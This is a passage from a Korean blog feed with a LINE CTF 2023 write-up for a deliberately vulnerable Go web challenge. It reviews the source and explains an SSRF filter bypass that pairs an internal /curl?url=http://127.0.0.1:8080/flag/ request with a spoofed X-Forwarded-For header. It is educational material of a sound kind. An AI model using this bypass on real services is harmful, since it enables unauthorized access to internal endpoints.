&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;777&quot; data-origin-height=&quot;527&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/p0Xgv/btr77hNaplm/xGpZyavFFkxldvW6aUuEc0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/p0Xgv/btr77hNaplm/xGpZyavFFkxldvW6aUuEc0/img.png&quot; data-alt=&quot;Web 1번 문제&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/p0Xgv/btr77hNaplm/xGpZyavFFkxldvW6aUuEc0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fp0Xgv%2Fbtr77hNaplm%2FxGpZyavFFkxldvW6aUuEc0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;339&quot; data-origin-width=&quot;777&quot; data-origin-height=&quot;527&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Web 1번 문제&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 환경 구성&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 파일을 다운받으면,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Docker Image의 내용이 명시된&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Dockerfile이 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;테스트를 위해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;도커 이미지를 생성하고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;생성된 이미지로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;도커 컨테이너를 실행 시킵니다.&lt;/p&gt;
&lt;pre id=&quot;code_1680660306807&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# Dockerfile이 존재하는 디렉토리/폴더로 이동 
# Docker Image 생성
&amp;gt; docker build -t baby-simple .

# 생성된 이미지 확인
&amp;gt; docker images

# 생성된 이미지 설치 및 실행
# Port Binding: 외부 PORT 11000 -&amp;gt; 내부 PORT 8080
&amp;gt; docker run -p 11000:8080 -d baby-simple

# 실행 중인 도커 컨테이너 확인
&amp;gt; docker ps&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;docker ps&quot;&amp;nbsp; 명령어로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;풀이 대상의&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;도커 컨테이너를 확인할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1378&quot; data-origin-height=&quot;99&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kCTEH/btr73plAblF/t3lztC0UM90hlNhi8L9B7K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kCTEH/btr73plAblF/t3lztC0UM90hlNhi8L9B7K/img.png&quot; data-alt=&quot;실행 중인 도커 컨테이너 확인&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kCTEH/btr73plAblF/t3lztC0UM90hlNhi8L9B7K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkCTEH%2Fbtr73plAblF%2Ft3lztC0UM90hlNhi8L9B7K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;36&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1378&quot; data-origin-height=&quot;99&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;실행 중인 도커 컨테이너 확인&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;도커가 실행 중인 서버(호스트)의&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;IP와 PORT로 접속하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 사이트를 확인할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;490&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mYL7A/btr75s2JJqY/vfnjpmSwvO7SK6mIcSe6T1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mYL7A/btr75s2JJqY/vfnjpmSwvO7SK6mIcSe6T1/img.png&quot; data-alt=&quot;웹 1번 문제의 사이트&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mYL7A/btr75s2JJqY/vfnjpmSwvO7SK6mIcSe6T1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmYL7A%2Fbtr75s2JJqY%2FvfnjpmSwvO7SK6mIcSe6T1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;239&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;490&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;웹 1번 문제의 사이트&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 분석&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제로 제공된 파일들 중&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;중요한 파일은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;Dockerfile, main.go&amp;nbsp;&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ Dockerfile&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Docker Image의 내용을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기입하는 파일입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일의 내용을 보면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 서비스를 제공하고자&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GO 언어 환경을 구성하기 하지만&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 풀이에 필요한 &lt;u&gt;&lt;b&gt;FLAG&lt;/b&gt;&lt;/u&gt; 및&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SSRF에서 사용할&amp;nbsp;&lt;u&gt;&lt;b&gt;내부 PORT&lt;/b&gt;&lt;/u&gt; 정보가&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;담겨 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1680661514244&quot; class=&quot;vbnet&quot; data-ke-language=&quot;vbnet&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;FROM golang:1.19

ENV FLAG = &quot;LINECTF{redacted}&quot;   # 환경변수에 FLAG 설정
ENV GOCURL /usr/local/opt/gocurl
RUN mkdir -p &quot;${GOCURL}&quot;

RUN apt-get -qq update &amp;amp;&amp;amp; \
  apt-get -qq -y upgrade &amp;amp;&amp;amp; \
  apt-get -qq -y install htop net-tools vim curl 

ENV GO111MODULE=on \
    CGO_ENABLED=0 \
    GOOS=linux \
    GOARCH=amd64

COPY ./baby-simple-gocurl &quot;${GOCURL}&quot;
COPY start.sh &quot;${GOCURL}/start.sh&quot;

WORKDIR &quot;${GOCURL}&quot;
RUN go mod download
RUN go build -o main .

RUN chmod -R 705 &quot;${GOCURL}&quot;

RUN groupadd -g 1000 gocurl
RUN useradd -g gocurl -s /bin/bash gocurl

USER gocurl
EXPOSE 8080   # 내부 PORT 정보
WORKDIR &quot;${GOCURL}&quot;
ENTRYPOINT [&quot;./start.sh&quot;]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ main.go: &quot;/flag/&quot;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 FLAG는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;환경변수에서 불러온 후,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;/flag/&quot; 페이지에 접속했을 때&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;확인할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다만, &lt;u&gt;&lt;b&gt;접속자(Client)의 IP가&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;127.0.0.1&lt;/b&gt;&lt;/u&gt; 로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, 서버에서 접속해야만&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;FLAG를 확인할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1680661811630&quot; class=&quot;go&quot; data-ke-language=&quot;go&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;func main() {
  // 환경 변수에서 FLAG 저장
  flag := os.Getenv(&quot;FLAG&quot;)
    
  ...

  // /flag/ 페이지 내용
  r.GET(&quot;/flag/&quot;, func(c *gin.Context) {
      // 접속자 IP(Client IP) 획득
    reqIP := strings.Split(c.Request.RemoteAddr, &quot;:&quot;)[0]

    log.Println(&quot;[+] IP : &quot; + reqIP)
        
    // 접속자 IP가 127.0.0.1 이어야 함
    if reqIP == &quot;127.0.0.1&quot; {
      c.JSON(http.StatusOK, gin.H{
        &quot;message&quot;: flag,	// flag 획득
      })
      return
    }

    c.JSON(http.StatusBadRequest, gin.H{
      &quot;message&quot;: &quot;You are a Guest, This is only for Host&quot;,
    })
  })

  r.Run()
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ main.go: &quot;/curl/&quot;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 /curl/ 페이지는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;윈도우의 CURL 명령어 처럼&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;입력된 URL 주소와&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HTTP Header 정보를 가지고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HTTP 패킷을 생성, 접속하여&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 응답값을 보여주는 페이지입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다만, 몇가지 조건이 있습니다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;조건1: 접속자 IP 및 URL의 path 필터링&lt;/b&gt;&lt;br /&gt;- 127.0.0.1에서만 /flag/ 라우트를 사용할 수 있으며, &lt;br /&gt;&amp;nbsp; /curl/ 라우트에 전달되는 URL에는&lt;br /&gt;&amp;nbsp; &quot;flag&quot;, &quot;curl&quot;, &quot;%&quot;(URL 인코딩 문자)과 같은 문자열이 포함될 수 없습니다.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;조건2: 이전 요청의 IP 필터&lt;/b&gt;&lt;br /&gt;- redirectChecker 함수는 via의 길이가 2 이상이거나,&lt;br /&gt;&amp;nbsp; 이전 요청의 IP 주소가 &quot;127.0.0.1&quot;이 아닌 경우 에러를 반환합니다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1680671862593&quot; class=&quot;go&quot; data-ke-language=&quot;go&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// redirectChecker 함수
func redirectChecker(req *http.Request, via []*http.Request) error {
  /**
  /* via는 HTTP 리다이렉트 체인의 이전 요청들을 저장하는 슬라이스입니다.
  /* via[len(via)-1]은 현재 요청 이전의 요청을 나타냅니다.
  /* 이전 요청의 IP 주소를 가져와서 reqIp 변수에 저장합니다.
  /**/
  reqIp := strings.Split(via[len(via)-1].Host, &quot;:&quot;)[0]
  if len(via) &amp;gt;= 2 || reqIp != &quot;127.0.0.1&quot; {
    return errors.New(&quot;Something wrong&quot;)
  }
  return nil
}

func main() {
	
  ...

  r.GET(&quot;/curl/&quot;, func(c *gin.Context) {
    /**
    /* client는 아래 입력값 필터링(검증)이 끝난 후,
    /* 지정된 URL로 접속하여 그 결과를 가져올 때 사용됨
    /**/
    client := &amp;amp;http.Client{
      CheckRedirect: func(req *http.Request, via []*http.Request) error {
        return redirectChecker(req, via)
      },
    }

    reqUrl := strings.ToLower(c.Query(&quot;url&quot;))
    reqHeaderKey := c.Query(&quot;header_key&quot;)
    reqHeaderValue := c.Query(&quot;header_value&quot;)
    reqIP := strings.Split(c.Request.RemoteAddr, &quot;:&quot;)[0]
    fmt.Println(&quot;[+] &quot; + reqUrl + &quot;, &quot; + reqIP + &quot;, &quot; + reqHeaderKey + &quot;, &quot; + reqHeaderValue)

    /* 입력값 검증 */
    /**
    /* 접속자 IP(ClientIP)가 127.0.0.1이 아닌 경우,
    /* 입력된 URL에 flag, curl, % 등이 있으면
    /* Something Wrong 임
    /**/
    if c.ClientIP() != &quot;127.0.0.1&quot; &amp;amp;&amp;amp; (strings.Contains(reqUrl, &quot;flag&quot;) || strings.Contains(reqUrl, &quot;curl&quot;) || strings.Contains(reqUrl, &quot;%&quot;)) {
      c.JSON(http.StatusBadRequest, gin.H{&quot;message&quot;: &quot;Something wrong&quot;})
      return
    }

    /* HTTP Request 생성 */
    req, err := http.NewRequest(&quot;GET&quot;, reqUrl, nil)
    if err != nil {
      c.JSON(http.StatusBadRequest, gin.H{&quot;message&quot;: &quot;Something wrong&quot;})
      return
    }

    /* HTTP Request Header 입력 */
    if reqHeaderKey != &quot;&quot; || reqHeaderValue != &quot;&quot; {
      req.Header.Set(reqHeaderKey, reqHeaderValue)
    }

    /* Send HTTP Request &amp;amp; Receive HTTP Response */
    resp, err := client.Do(req)
    if err != nil {
      c.JSON(http.StatusBadRequest, gin.H{&quot;message&quot;: &quot;Something wrong&quot;})
      return
    }

    ...

  })

    ...

    r.Run()
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;단, 위 코드에서 주의할 점은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일반적으로 개발 언어에 상관 없이&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;조건문에서 &lt;u&gt;&lt;b&gt;AND 연산&lt;/b&gt;&lt;/u&gt;의 경우&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프로그램의 효율을 위해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;앞의 결과가 FALSE인 경우,&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어차피 전체 결과 또한 FALSE이기 때문에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;뒤의 결과를 확인하지 않는다&lt;/b&gt;&lt;/u&gt;는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;규칙이 존재합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1680672807905&quot; class=&quot;go&quot; data-ke-language=&quot;go&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// 앞이 이미 False 이므로, 뒤는 확인하지 않는다.
if 1==0 &amp;amp;&amp;amp; 1==fmt.Println(&quot;실행되지 않음&quot;) { ... }

// OR은 반대임(앞이 True면, 뒤에 상관없이 전체가 True이기 때문)
if 1==1 || 0==fmt.Println(&quot;실행되지 않음&quot;) { ... }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서, 위의 /curl/ 페이지에 존재하는 필터링의 경우&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;접속한 Client IP가 서버에서 127.0.0.1로 인식되면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;뒤의 문자열 필터링은 생략됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 풀이&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 문제를 풀기 위해서는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두 가지 조건을 충족시켜야 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;조건 1: /flag/ 페이지는 서버에서만 접속 가능&lt;/b&gt;&lt;br /&gt;- /flag/ 페이지에 접속을 해야하는 데&lt;br /&gt;&amp;nbsp;이 페이지는 127.0.0.1&lt;br /&gt;&amp;nbsp;즉, 서버에서만 접속이 가능&lt;br /&gt;&lt;br /&gt;&lt;b&gt;조건 2: /curl/ 페이지 필터링 우회&lt;/b&gt;&lt;br /&gt;- 서버에서 접속한 Client IP가 127.0.0.1로 인식되어야 함&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위의 조건을 충족시키기 위해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래와 같은 방법을 사용했습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;조건 1 우회: /curl?url=http://127.0.0.1:8080/flag/&lt;/b&gt;&lt;br /&gt;- curl 페이지를 사용하면 서버에서 /flag/ 페이지에 접속하게 되며,&lt;br /&gt;&amp;nbsp; 그 결과를 사용자에게 반환&lt;br /&gt;&lt;br /&gt;&lt;b&gt;조건 2 우회: X-Forwarded-For Header&lt;/b&gt;&lt;br /&gt;- HTTP Request의 X-Forwarded-For header를 사용하여&lt;br /&gt;&amp;nbsp; Client의 IP를 127.0.0.1 로 인식&lt;br /&gt;&lt;br /&gt;&lt;b&gt;* X-Forwarded-For Header:&lt;/b&gt;&lt;br /&gt;- HTTP 프록시나 로드 밸런서를 통해&lt;br /&gt;&amp;nbsp; 웹 서버에 접속하는 Client의 IP 주소를 식별하는 표준 헤더&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위의 우회방안을 조합하여&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래와 같이 서버로 요청하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;FLAG를 획득할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1698&quot; data-origin-height=&quot;357&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bex6r8/btr8f1RlLK8/KLHzKyE8D4Z7BSCJgQe1LK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bex6r8/btr8f1RlLK8/KLHzKyE8D4Z7BSCJgQe1LK/img.png&quot; data-alt=&quot;FLAG 획득!&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bex6r8/btr8f1RlLK8/KLHzKyE8D4Z7BSCJgQe1LK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbex6r8%2Fbtr8f1RlLK8%2FKLHzKyE8D4Z7BSCJgQe1LK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;105&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1698&quot; data-origin-height=&quot;357&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;FLAG 획득!&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>Study/CTF</category>
      <category>CTF</category>
      <category>LINECTF2023</category>
      <category>writeup</category>
      <category>문제풀이</category>
      <category>해킹대회</category>
      <author>루딘이</author>
      <guid isPermaLink="true">https://chmodi.tistory.com/177</guid>
      <comments>https://chmodi.tistory.com/177#entry177comment</comments>
      <pubDate>Wed, 5 Apr 2023 15:05:42 +0900</pubDate>
    </item>
    <item>
      <title>[Ubuntu 20.04] 본딩(듀얼랜), 노트북 덮개, 숨겨진 와이파이 연결</title>
      <link>https://chmodi.tistory.com/176</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;집에 남아있는 노트북에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쿠버네티스를 위한 서버를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;구축하기 위한&lt;/p&gt;
